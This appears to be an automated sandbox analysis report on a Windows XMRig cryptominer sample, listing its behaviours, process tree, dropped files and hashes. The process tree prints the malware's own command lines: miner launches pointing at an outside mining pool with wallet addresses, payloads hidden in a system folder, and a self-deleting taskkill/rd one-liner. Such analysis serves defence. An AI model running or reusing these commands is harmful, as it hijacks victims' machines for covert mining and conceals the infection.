Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 19:41

General

  • Target
    3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe
  • Size 800KB
  • Sample261002-yefjvsgf66
  • SHA256 3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 2 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe
    "C:\Users\Admin\AppData\Local\Temp\3190a96ad155a6fc70caa39959046f02ef7d49181ca03ef560b3e6da3f6797c4.exe"
    1⤵
    • Downloads MZ/PE file
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1524
    • C:\ProgramData\Microsoft\Windows\NtSvice\EoUsFvRsyyw\EoUsFvRsyyw.exe
      C:\ProgramData\Microsoft\Windows\NtSvice\EoUsFvRsyyw\EoUsFvRsyyw.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:632
      • C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SareicahUI.exe
        C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SareicahUI.exe
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1100
        • C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\rar.exe
          "rar.exe" x -iext -ow -o+ "hao1151_2.rar" "C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets"
          4⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:1276
        • C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SaericahUI.exe
          SaericahUI.exe --algorithm pearlhash --pool stratum+ssl://2.hao1151.com:18013 --wallet prl1phs6s7m983309a6pz7qdreq8x6usschwxc5ujalp0lzvzyptjghlsc52549.SER2
          4⤵
          • Executes dropped EXE
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2756
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c set
            5⤵
            • Executes a command shell one-liner
            PID:3332
        • C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SaeriachUI.exe
          SaeriachUI.exe -o 2.hao1151.com:30530 -u 83ZLYwyHMmaSTCg6raY1yzQzcFDXLXsrviorZR9h9KmMGmtwGbZx7VQ9PiSw14RQvxQfGhgzT37H5h5nWMFqthtYEmF3rZi -p x --tls --algo rx/0
          4⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:4580
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c taskkill /f /pid 632 &ping 127.0.0.1 -n 1 &rd /s /q C:\ProgramData\Microsoft\Windows\NtSvice\EoUsFvRsyyw
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:5096
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /pid 632
          4⤵
          • System Location Discovery: System Language Discovery
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2964
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 1
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:788
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\update_relay.bat
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:3708

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        hao1151[1].exe

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\MTNU6HGG\hao1151[1].exe
        • Size 1.1MB
        • SHA256 ddf0665a78cc558a6ec18662f9534dfeb4b84dd54ce3d920a979d87ed8895527
        • MD5 SHA1 SHA512 SSDEEP TLSH

        hao1151_2[1].rar

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\T7KVIYDE\hao1151_2[1].rar
        • Size 33.1MB
        • SHA256 8ee2f5147fc1268e9dc9220f7ed5261519ace8139b646e25ca47faf8fd00a8d1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        update_relay.bat

        • Path C:\Users\Admin\AppData\Local\Temp\update_relay.bat
        • Size 557B
        • SHA256 0a3c5b0f3b1cc66b7d3b2fb0622ba9b9586c803601f83e2cb59e8a32b577f7d0
        • MD5 SHA1 SHA512 TLSH

        SareicahUI.exe

        • Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SareicahUI.exe
        • Size 2.6MB
        • SHA256 9c22edef196f3dc8793c67112620aa81d833b36eaef3700c95a437c7948b41f3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        hao1151_2.exe

        • Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\hao1151_2.exe
        • Size 31.3MB
        • SHA256 224f882da1c5e000dec7350225746e32c7ff7edd7265ad4ff879b8295ba9c192
        • MD5 SHA1 SHA512 SSDEEP TLSH

        rar.exe

        • Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\rar.exe
        • Size 551KB
        • SHA256 06159de0077f8a7f03eeccc3bbd499d6941476b4a0d2e164b94e01e89907ce9a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        xmr.exe

        • Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\xmr.exe
        • Size 6.2MB
        • SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/632-22-0x0000000000400000-0x000000000078C000-memory.dmp

        memory/632-10-0x000000000078B000-0x000000000078C000-memory.dmp

        memory/632-9-0x0000000000400000-0x000000000078C000-memory.dmp

        memory/1524-0-0x0000000000400000-0x00000000004EC000-memory.dmp

        memory/2756-44-0x00007FF747B90000-0x00007FF74AE22000-memory.dmp

        memory/2756-45-0x00007FF747B90000-0x00007FF74AE22000-memory.dmp

        memory/2756-46-0x00007FF747B90000-0x00007FF74AE22000-memory.dmp

        memory/2756-47-0x00007FF747B90000-0x00007FF74AE22000-memory.dmp

        memory/2756-48-0x00007FF747B90000-0x00007FF74AE22000-memory.dmp

        memory/2756-59-0x00007FF747B90000-0x00007FF74AE22000-memory.dmp

        memory/4580-61-0x000001C558670000-0x000001C558690000-memory.dmp